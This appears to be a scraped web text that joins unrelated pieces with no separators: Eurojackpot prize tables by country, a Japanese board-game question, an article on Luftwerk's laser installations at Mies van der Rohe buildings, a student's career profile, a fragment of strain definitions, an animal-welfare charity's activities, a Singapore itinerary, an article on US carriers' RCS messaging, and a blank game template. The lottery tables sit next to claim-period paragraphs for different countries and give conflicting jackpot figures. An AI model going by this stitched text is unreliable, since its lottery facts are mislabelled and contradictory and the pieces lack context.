Eurojackpot prizes in Hungary must be claimed within 180 days of the draw date, so tickets purchased for this draw were valid until Wednesday 8th May 2019.
The estimated jackpot advertised in Hungary prior to the draw was €90,000,000.
| Numbers Matched | Prize Per Winner | Winners from Iceland | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
kr.12,427,200,000 | 0 | kr.0 | 0 |
|
Match 5 and 1 Euro Number |
kr.1,039,614,860 | 0 | kr.0 | 3 |
|
Match 5 |
kr.16,657,790 | 0 | kr.0 | 10 |
|
Match 4 and 2 Euro Numbers |
kr.458,880 | At present this information is not released by the lottery operator of Iceland | 121 | |
|
Match 4 and 1 Euro Number |
kr.33,870 | 1,475 | ||
|
Match 4 |
kr.16,920 | 2,295 | ||
|
Match 3 and 2 Euro Numbers |
kr.7,590 | 4,383 | ||
|
Match 2 and 2 Euro Numbers |
kr.2,670 | 64,070 | ||
|
Match 3 and 1 Euro Number |
kr.2,540 | 65,527 | ||
|
Match 3 |
kr.2,260 | 105,230 | ||
|
Match 1 and 2 Euro Numbers |
kr.1,200 | 356,979 | ||
|
Match 2 and 1 Euro Number |
kr.1,100 | 959,892 | ||
|
Total |
- | 1,559,985 |
Eurojackpot prizes in Iceland must be claimed within 1 year of the draw date, so tickets purchased for this draw are valid until Saturday 9th November 2019.
The estimated jackpot advertised in Iceland prior to the draw was kr.0.
| Numbers Matched | Prize Per Winner | Winners from Italy | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
€90,000,000 | 0 | €0 | 0 |
|
Match 5 and 1 Euro Number |
€7,529,076.40 | 0 | €0 | 3 |
|
Match 5 |
€120,638.70 | 0 | €0 | 10 |
|
Match 4 and 2 Euro Numbers |
€3,323.30 | 1 | €3,323.30 | 121 |
|
Match 4 and 1 Euro Number |
€245.30 | 16 | €3,924.80 | 1,475 |
|
Match 4 |
€122.60 | 18 | €2,206.80 | 2,295 |
|
Match 3 and 2 Euro Numbers |
€55 | 71 | €3,905 | 4,383 |
|
Match 2 and 2 Euro Numbers |
€19.40 | 964 | €18,701.60 | 64,070 |
|
Match 3 and 1 Euro Number |
€18.40 | 922 | €16,964.80 | 65,527 |
|
Match 3 |
€16.40 | 1,322 | €21,680.80 | 105,230 |
|
Match 1 and 2 Euro Numbers |
€8.70 | 5,717 | €49,737.90 | 356,979 |
|
Match 2 and 1 Euro Number |
€8 | 13,739 | €109,912 | 959,892 |
|
Total |
- | 22,770 | €230,357 | 1,559,985 |
Eurojackpot prizes in Italy must be claimed within a set period of time depending on how much you have won. Visit the How to Claim page to find specific claim periods, with some prizes needing to be claimed within 30 days of the draw (valid until Sunday 9th December 2018).
The estimated jackpot advertised in Italy prior to the draw was €90,000,000.
| Numbers Matched | Prize Per Winner | Winners from Latvia | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
€90,000,000 | 0 | €0 | 0 |
|
Match 5 and 1 Euro Number |
€7,529,076.40 | 0 | €0 | 3 |
|
Match 5 |
€120,638.70 | 0 | €0 | 10 |
|
Match 4 and 2 Euro Numbers |
€3,323.30 | At present this information is not released by the lottery operator of Latvia | 121 | |
|
Match 4 and 1 Euro Number |
€245.30 | 1,475 | ||
|
Match 4 |
€122.60 | 2,295 | ||
|
Match 3 and 2 Euro Numbers |
€55 | 4,383 | ||
|
Match 2 and 2 Euro Numbers |
€19.40 | 64,070 | ||
|
Match 3 and 1 Euro Number |
€18.40 | 65,527 | ||
|
Match 3 |
€16.40 | 105,230 | ||
|
Match 1 and 2 Euro Numbers |
€8.70 | 356,979 | ||
|
Match 2 and 1 Euro Number |
€8 | 959,892 | ||
|
Total |
- | 1,559,985 |
Eurojackpot prizes in Latvia must be claimed within 30 days of the draw date, so tickets purchased for this draw were valid until Sunday 9th December 2018.
The estimated jackpot advertised in Latvia prior to the draw was €90,000,000.
| Numbers Matched | Prize Per Winner | Winners from Lithuania | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
€90,000,000 | 0 | €0 | 0 |
|
Match 5 and 1 Euro Number |
€7,529,076.40 | 0 | €0 | 3 |
|
Match 5 |
€120,638.70 | 0 | €0 | 10 |
|
Match 4 and 2 Euro Numbers |
€3,323.30 | 0 | €0 | 121 |
|
Match 4 and 1 Euro Number |
€245.30 | 2 | €490.60 | 1,475 |
|
Match 4 |
€122.60 | 5 | €613 | 2,295 |
|
Match 3 and 2 Euro Numbers |
€55 | 8 | €440 | 4,383 |
|
Match 2 and 2 Euro Numbers |
€19.40 | 138 | €2,677.20 | 64,070 |
|
Match 3 and 1 Euro Number |
€18.40 | 155 | €2,852 | 65,527 |
|
Match 3 |
€16.40 | 228 | €3,739.20 | 105,230 |
|
Match 1 and 2 Euro Numbers |
€8.70 | 836 | €7,273.20 | 356,979 |
|
Match 2 and 1 Euro Number |
€8 | 2,120 | €16,960 | 959,892 |
|
Total |
- | 3,492 | €35,045.20 | 1,559,985 |
Eurojackpot prizes in Lithuania must be claimed within 60 days of the draw date, so tickets purchased for this draw were valid until Tuesday 8th January 2019.
The estimated jackpot advertised in Lithuania prior to the draw was €90,000,000.
| Numbers Matched | Prize Per Winner | Winners from Netherlands | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
€90,000,000 | 0 | €0 | 0 |
|
Match 5 and 1 Euro Number |
€7,529,076.40 | 0 | €0 | 3 |
|
Match 5 |
€120,638.70 | 0 | €0 | 10 |
|
Match 4 and 2 Euro Numbers |
€3,323.30 | At present this information is not released by the lottery operator of Netherlands | 121 | |
|
Match 4 and 1 Euro Number |
€245.30 | 1,475 | ||
|
Match 4 |
€122.60 | 2,295 | ||
|
Match 3 and 2 Euro Numbers |
€55 | 4,383 | ||
|
Match 2 and 2 Euro Numbers |
€19.40 | 64,070 | ||
|
Match 3 and 1 Euro Number |
€18.40 | 65,527 | ||
|
Match 3 |
€16.40 | 105,230 | ||
|
Match 1 and 2 Euro Numbers |
€8.70 | 356,979 | ||
|
Match 2 and 1 Euro Number |
€8 | 959,892 | ||
|
Total |
- | 1,559,985 |
Eurojackpot prizes in Netherlands must be claimed within 365 days of the draw date, so tickets purchased for this draw are valid until Saturday 9th November 2019.
The estimated jackpot advertised in Netherlands prior to the draw was €90,000,000.
| Numbers Matched | Prize Per Winner | Winners from Norway | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
kr.855,000,000 | 0 | kr.0 | 0 |
|
Match 5 and 1 Euro Number |
kr.71,840,940 | 0 | kr.0 | 3 |
|
Match 5 |
kr.1,151,110 | 0 | kr.0 | 10 |
|
Match 4 and 2 Euro Numbers |
kr.31,710 | At present this information is not released by the lottery operator of Norway | 121 | |
|
Match 4 and 1 Euro Number |
kr.2,340 | 1,475 | ||
|
Match 4 |
kr.1,165 | 2,295 | ||
|
Match 3 and 2 Euro Numbers |
kr.520 | 4,383 | ||
|
Match 2 and 2 Euro Numbers |
kr.185 | 64,070 | ||
|
Match 3 and 1 Euro Number |
kr.175 | 65,527 | ||
|
Match 3 |
kr.155 | 105,230 | ||
|
Match 1 and 2 Euro Numbers |
kr.80 | 356,979 | ||
|
Match 2 and 1 Euro Number |
kr.75 | 959,892 | ||
|
Total |
- | 1,559,985 |
Eurojackpot prizes in Norway must be claimed within 3 months of the draw date, so tickets purchased for this draw were valid until Saturday 9th February 2019.
The estimated jackpot advertised in Norway prior to the draw was kr.855,000,000.
| Numbers Matched | Prize Per Winner | Winners from Poland | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
zł390,000,000 | 0 | zł0 | 0 |
|
Match 5 and 1 Euro Number |
zł0 | 0 | zł0 | 3 |
|
Match 5 |
zł0 | 0 | zł0 | 10 |
|
Match 4 and 2 Euro Numbers |
zł816,806.80 | 1 | zł816,806.80 | 121 |
|
Match 4 and 1 Euro Number |
zł1,053.60 | 39 | zł41,090.40 | 1,475 |
|
Match 4 |
zł526.60 | 69 | zł36,335.40 | 2,295 |
|
Match 3 and 2 Euro Numbers |
zł236.30 | 92 | zł21,739.60 | 4,383 |
|
Match 2 and 2 Euro Numbers |
zł83.40 | 1,560 | zł130,104 | 64,070 |
|
Match 3 and 1 Euro Number |
zł79.10 | 1,699 | zł134,390.90 | 65,527 |
|
Match 3 |
zł70.50 | 2,941 | zł207,340.50 | 105,230 |
|
Match 1 and 2 Euro Numbers |
zł37.40 | 8,726 | zł326,352.40 | 356,979 |
|
Match 2 and 1 Euro Number |
zł34.40 | 25,147 | zł865,056.80 | 959,892 |
|
Total |
- | 40,274 | zł2,579,216.80 | 1,559,985 |
Eurojackpot prizes in Poland must be claimed within 3 years of the draw date, so tickets purchased for this draw are valid until Tuesday 9th November 2021.
The estimated jackpot advertised in Poland prior to the draw was zł390,000,000.
| Numbers Matched | Prize Per Winner | Winners from Slovakia | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
€90,000,000 | 0 | €0 | 0 |
|
Match 5 and 1 Euro Number |
€7,529,076.40 | 0 | €0 | 3 |
|
Match 5 |
€120,638.70 | 1 | €120,638.70 | 10 |
|
Match 4 and 2 Euro Numbers |
€3,323.30 | 1 | €3,323.30 | 121 |
|
Match 4 and 1 Euro Number |
€245.30 | 20 | €4,906 | 1,475 |
|
Match 4 |
€122.60 | 30 | €3,678 | 2,295 |
|
Match 3 and 2 Euro Numbers |
€55 | 34 | €1,870 | 4,383 |
|
Match 2 and 2 Euro Numbers |
€19.40 | 630 | €12,222 | 64,070 |
|
Match 3 and 1 Euro Number |
€18.40 | 674 | €12,401.60 | 65,527 |
|
Match 3 |
€16.40 | 1,047 | €17,170.80 | 105,230 |
|
Match 1 and 2 Euro Numbers |
€8.70 | 4,237 | €36,861.90 | 356,979 |
|
Match 2 and 1 Euro Number |
€8 | 10,214 | €81,712 | 959,892 |
|
Total |
- | 16,888 | €294,784.30 | 1,559,985 |
Eurojackpot prizes in Slovakia must be claimed within 35 days of the draw date, so tickets purchased for this draw were valid until Friday 14th December 2018.
The estimated jackpot advertised in Slovakia prior to the draw was €90,000,000.
| Numbers Matched | Prize Per Winner | Winners from Spain | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
€90,000,000 | 0 | €0 | 0 |
|
Match 5 and 1 Euro Number |
€7,529,076.40 | 0 | €0 | 3 |
|
Match 5 |
€120,638.70 | 0 | €0 | 10 |
|
Match 4 and 2 Euro Numbers |
€3,323.30 | 4 | €13,293.20 | 121 |
|
Match 4 and 1 Euro Number |
€245.30 | 41 | €10,057.30 | 1,475 |
|
Match 4 |
€122.60 | 79 | €9,685.40 | 2,295 |
|
Match 3 and 2 Euro Numbers |
€55 | 159 | €8,745 | 4,383 |
|
Match 2 and 2 Euro Numbers |
€19.40 | 1,951 | €37,849.40 | 64,070 |
|
Match 3 and 1 Euro Number |
€18.40 | 1,987 | €36,560.80 | 65,527 |
|
Match 3 |
€16.40 | 3,270 | €53,628 | 105,230 |
|
Match 1 and 2 Euro Numbers |
€8.70 | 10,402 | €90,497.40 | 356,979 |
|
Match 2 and 1 Euro Number |
€8 | 28,097 | €224,776 | 959,892 |
|
Total |
- | 45,990 | €485,092.50 | 1,559,985 |
Eurojackpot prizes in Spain must be claimed within 30 days of the draw date, so tickets purchased for this draw were valid until Sunday 9th December 2018.
The estimated jackpot advertised in Spain prior to the draw was €90,000,000.
| Numbers Matched | Prize Per Winner | Winners from Sweden | Prize Fund Amount | Total Winners |
|---|---|---|---|---|
|
Match 5 and 2 Euro Numbers |
kr.928,000,000 | 0 | kr.0 | 0 |
|
Match 5 and 1 Euro Number |
kr.77,577,344 | 0 | kr.0 | 3 |
|
Match 5 |
kr.1,243,024 | 0 | kr.0 | 10 |
|
Match 4 and 2 Euro Numbers |
kr.323,253 | 1 | kr.323,253 | 121 |
|
Match 4 and 1 Euro Number |
kr.15,038 | 42 | kr.631,596 | 1,475 |
|
Match 4 |
kr.8,428 | 66 | kr.556,248 | 2,295 |
|
Match 3 and 2 Euro Numbers |
kr.2,756 | 132 | kr.363,792 | 4,383 |
|
Match 2 and 2 Euro Numbers |
kr.199 | 1,840 | kr.366,160 | 64,070 |
|
Match 3 and 1 Euro Number |
kr.189 | 1,809 | kr.341,901 | 65,527 |
|
Match 3 |
kr.168 | 3,188 | kr.535,584 | 105,230 |
|
Match 1 and 2 Euro Numbers |
kr.89 | 10,168 | kr.904,952 | 356,979 |
|
Match 2 and 1 Euro Number |
kr.82 | 28,024 | kr.2,297,968 | 959,892 |
|
Total |
- | 45,270 | kr.6,321,454 | 1,559,985 |
Eurojackpot prizes in Sweden must be claimed within 3 months of the draw date, so tickets purchased for this draw were valid until Saturday 9th February 2019.
The estimated jackpot advertised in Sweden prior to the draw was kr.928,000,000.
Associated Draw Results
- 2
- 4
- 4
- 4
- 8
- 3
| Numbers Matched | Prize Per Winner | Total Winners |
|---|---|---|
| Match 6 in Exact Order | €50,000 | 0 |
| Match Last 5 in Exact Order | €5,000 | 1 |
| Match Last 4 in Exact Order | €500 | 15 |
| Match Last 3 in Exact Order | €50 | 108 |
| Match Last 2 in Exact Order | €5 | 1,156 |
| Match Last 1 in Exact Order | €3 | 11,688 |
- 7
- 4
- 5
- 3
- 0
- 2
| Numbers Matched | Prize Per Winner | Total Winners |
|---|---|---|
| Match 6 | CZK0 | 0 |
| Match 5 | CZK200,000 | 2 |
| Match 4 | CZK20,000 | 19 |
| Match 3 | CZK2,000 | 108 |
| Match 2 | CZK200 | 1,176 |
| Match 1 | CZK120 | 12,348 |
- 8
- 9
- 9
- 6
- 4
- 5
- 6
| Numbers Matched | Prize Per Winner | Total Winners |
|---|---|---|
| Match 7 in Exact Order | €1,000,000 | 0 |
| Match Any 6 in the Right Spot | €20,000 | 4 |
| Match Any 5 in the Right Spot | €500 | 50 |
| Match Any 4 in the Right Spot | €50 | 671 |
| Match Any 3 in the Right Spot | €6 | 6,208 |
| Match Any 2 in the Right Spot | €3 | 34,346 |
- Singapore
- 90
| Numbers Matched | Prize Per Winner | Total Winners |
|---|---|---|
| City and Number | €1,000 | 18 |
| City | €5 | 1,898 |
- 8
- 7
- 3
- 4
- 3
| Numbers Matched | Prize Per Winner | Total Winners |
|---|---|---|
| Match 5 in Exact Order | kr2,000,000 | 0 |
| Match First/Last 4 in Exact Order | kr100,000 | 0 |
| Match First/Last 3 in Exact Order | kr10,000 | 10 |
| Match First/Last 2 in Exact Order | kr2,000 | 145 |
- Hole
Related Eurojackpot Results Links
- Automatically check your Eurojackpot ticket
- View average prizes and winners for each prize tiers
- View the largest jackpot winners and total winners from each country
- View previous Eurojackpot results by year
Buy Eurojackpot Tickets Online
By buying your Eurojackpot tickets online you don’t have to worry about ever losing your Eurojackpot lottery tickets. When you play the Eurojackpot online all your lottery tickets purchased on the internet are stored in your personal account, meaning that you can view them anytime you wish.


黒の手番です。11 はどう動かしますか？


Light and Sound Geometric Installations Highlight Stunning Mies Van Der Rohe Architecture
The Farnsworth House and the German Pavilion were turned into striking immersive art installations earlier this year.
by Fabienne LangArchitecture and artistic installations can be truly awe-inspiring. A case in point is Luftwerk's two 2019 'Geometry of Light' installations.
Working together with architect Iker Gil, and sound designer Oriol Tarragó, Luftwerk coordinated the work that celebrated the architectural forms of Ludwig Mies van der Rohe.
Both installations were displayed this year, with the German Pavilion show in Barcelona taking place last February, followed by the second installation which happened in October, at the Farnsworth House near Chicago.
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Luftwerk and the concept
Inspired by the structures' weightlessness look, the concept Luftwerk decided to use made use of bright red laser lights, in order to accentuate the clarity of the architecture.
Lasers are used as a tool when building or designing a space so as to ensure it's being built on the same level.
Both sites' rich historical contexts were what drew in the designers and architects.
Built in 1929, the German Pavilion was demolished soon after it was erected, and was only rebuilt in 1986. Architects then used drawings to reconstruct the house.
Using bright red laser lights give the illusion that the rooms and walls are being dissected and cut through. 'Geometry of Light' wants to increase the illusion between physical and material boundaries.
As the German Pavilion was built, brought down, and then rebuilt using only 2D drawings, the immersive installation of lasers truly reflects its history by creating these illusions.
The Farnsworth House, also designed by Mies van der Rohe, was completed in 1951 and opened to the public in 2004. By hosting the art and sound 'Geometry of Light' installation here, the house's history and underlying geometries will be displayed in an unusual way.
The accompanying sound piece by Oriol Tarragó is integral to the show, and perfectly matches architect Iker Gil's concept.
Below are some images of the two incredible art and sound installations at each location.
Farnsworth House 'Geometry of Light'
Displayed here is a view of how the house looks from the inside with the lasers slicing through the interior:
Here is the house and installation seen at night:
As seen from another angle:
The detail on the walls:
You can watch the full installation through Luftwerk's Vimeo video.
The German Pavilion 'Geometry of Light'
Based in Barcelona, the German Pavilion's art installation was also a sight for sore eyes, and music to many's ears:
Another shot of the German Pavilion's exterior:
Here is a striking interior image:
The lasers didn't miss a statue:
Or the walls:


Profile
My name is Lili Bourgeois and I am currently a student at Prime Digital Academy studying Full Stack Engineering. I recently decided to make a career change from an education background to begin the adventure of learning web development.
For the last 6 years I have worked in various positions in education. I began my career with a focus on special education working mainly in self-contained classrooms. As I began to form my philosophy on education I made a shift to work in inclusive settings that focused on differentiated learning and individualized objectives.
In 2016 I received a Masters in Education with a concentration of Secondary Science Education from the University of Massachusetts Amherst. I began my teaching career in Springfield, MA where I was employeed as a full-time life science teacher. I strived in my classroom to incorporate various technologies as a way to provide students with a multitude of various learning modalities.
As a teacher in a district that serves peoples of many cultures, languages, and backgrounds, I began to see a pattern in the technologies that were available. Many of the applications that I hoped to use were limited in their capacity to individualize learning, meaning that students with varying background knowledges would be left to work on the same assignment with little differentiation. I found myself struggling; as a scientist at heart I understand the importance of technology, yet I was left with applications that did not work in the context of my situation.
I decided then that I wanted to one day create an application designed to provide students with individualized learning paths, tailored towards their interests, so that each student would be learning the same content but through the student's lens rather than the teachers. This application would also take into account such metrics as background-knowledge, and reading and math levels, to ensure that content was being delivered in a way that set high standards but with a focus on student understanding.
Though my level of knowledge to complete this goal is limited, I know that my enrollment in Prime Digital Academy is the first step.


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Elongation, Stretch, Quadratic Elongation
Measure for change in length in a deformation:
Elongation:
Stretch:
Quadratic elongation:
l
= S
2
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2


Introduction
This are some but a few of things that we do.
- Animal Shelter – Many animals in Kenya suffer from neglect, cruelty and abuse. We run a shelter for animals in need; such as lost animals or victims of cruelty. We provide care and a safe environment until animals are reclaimed or re-homed to carefully vetted new owners.
- Investigations and Rescue – We respond to over 6000 calls per year to give help and advice to owners on pet care.
- Education & Advocacy – We arrange and encourage school visits to the shelter to teach children about the importance of animal welfare.
- Spay/Neuter Campaigns – We feel strongly that overpopulation of cats and dogs should be controlled by sterilization rather than by the killing of healthy animals. The Ruiru-wellfare conducts spay and neuter campaigns in lower income areas when funds are available.
- Humane Slaughter – Ruiru's-fare was instrumental in introducing humane slaughter of livestock to Kenya. After having seen the way animals suffer in abattoirs, we embarked on a humane slaughter programme promoting the use of captive bolt pistols. We import captive bolt pistols and blank ammunition, which are sold to abattoirs at cost price. Our inspectors teach slaughter house staff on proper use of captive bolt pistols and their maintenance.


Timeline Concept
-
Lunch
Enjoy lunch at a local favourite: Beach Road Prawn Noodle House
Navigate
-
Battlebox
Learn more about the true causes behind “the worst disaster and largest capitulation in British history” at the Battlebox
Navigate
-
Gardens by the Bay
Enjoy breathtaking waterfront views at the world-famous Gardens by the Bay.
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-
Dinner at Newton Food Center
Enjoy dinner with a wide variety of food at the Newton Food Center
Navigate


U.S. carriers finally agree on who will build the country's RCS network
Source: Nick Sutrich\Android Central
What you need to know
- Synchronoss Technologies and WIT Software have been chosen as the companies to build the network and app for U.S.-based RCS messaging.
- These companies currently run Japan's RCS network and will be using that expertise to built the U.S.'s RCS infrastructure.
- The Android app is slated to debut sometime in 2020, with iOS RCS messaging happening sometime later.
You may have RCS messaging on your phone already, thanks to the efforts of Google and a nifty hidden setting, but U.S. carriers want to be the ones to run the RCS show, instead. That was made clear when Sprint, AT&T, Verizon, and T-Mobile all announced a joint venture called CCMI, or the Cross-Carrier Messaging Initiative.
Today's announcement comes from the CCMI itself, via FierceWireless, pronouncing that Synchronoss Technologies and WIT Software will be the ones to build out the standard for all four major carriers (or maybe three by the time they finish the deal). Synchronoss and WIT were chosen specifically because they've already done this before and have a successful network running across Japan's mobile carriers using RCS. In fact, this network was rolled out early in 2018 and can be used for everything from messaging to money transfers and even global currency conversion.
Source: Android Central
RCS is a powerful messaging standard that's about more than just sending text messages to friends and family; that's why RCS stands for Rich Communication Services. Now that companies have been awarded a contract for getting RCS rolled out to all four major networks, the real work can begin. In short, Synchronoss Technologies and WIT Software will be building the network of servers for RCS, as well as the new messaging app that will be required to be used on all phones in order to take advantage of this new messaging network.
You won't have to do much reading into the statements of industry veterans to understand why Google has not been allowed into this new initiative and why this has been such a big ordeal: the carriers aren't making money off messaging the way they used to and need a new source of revenue that will benefit everyone's bottom line. Carriers want to play a "much different role in consumer's lives," and while surface-level language makes this appear innocuous, some people disagree.
What's particularly interesting about this announcement is the inclusion of Apple iOS devices in the development phase. Whether or not this means a separate app from iMessage is not clear, but plans are for a specific app to be developed for Android, with plans to roll it out sometime in 2020. We certainly won't see the return of messaging plans that charge per message as carriers have done in the past, but it's clear that carriers want to make more money off of you and this is the next big way they're going to do that.
The CCMI could be the RCS solution that works because carriers can profit from it


Player 1
Balance:
Location:
isBroke:
Player 2
Balance:
Location:
isBroke:
Player 3
Balance:
Location:
isBroke:
Player 4
Balance:
Location:
isBroke:
Press Start to Play the Game
Game Record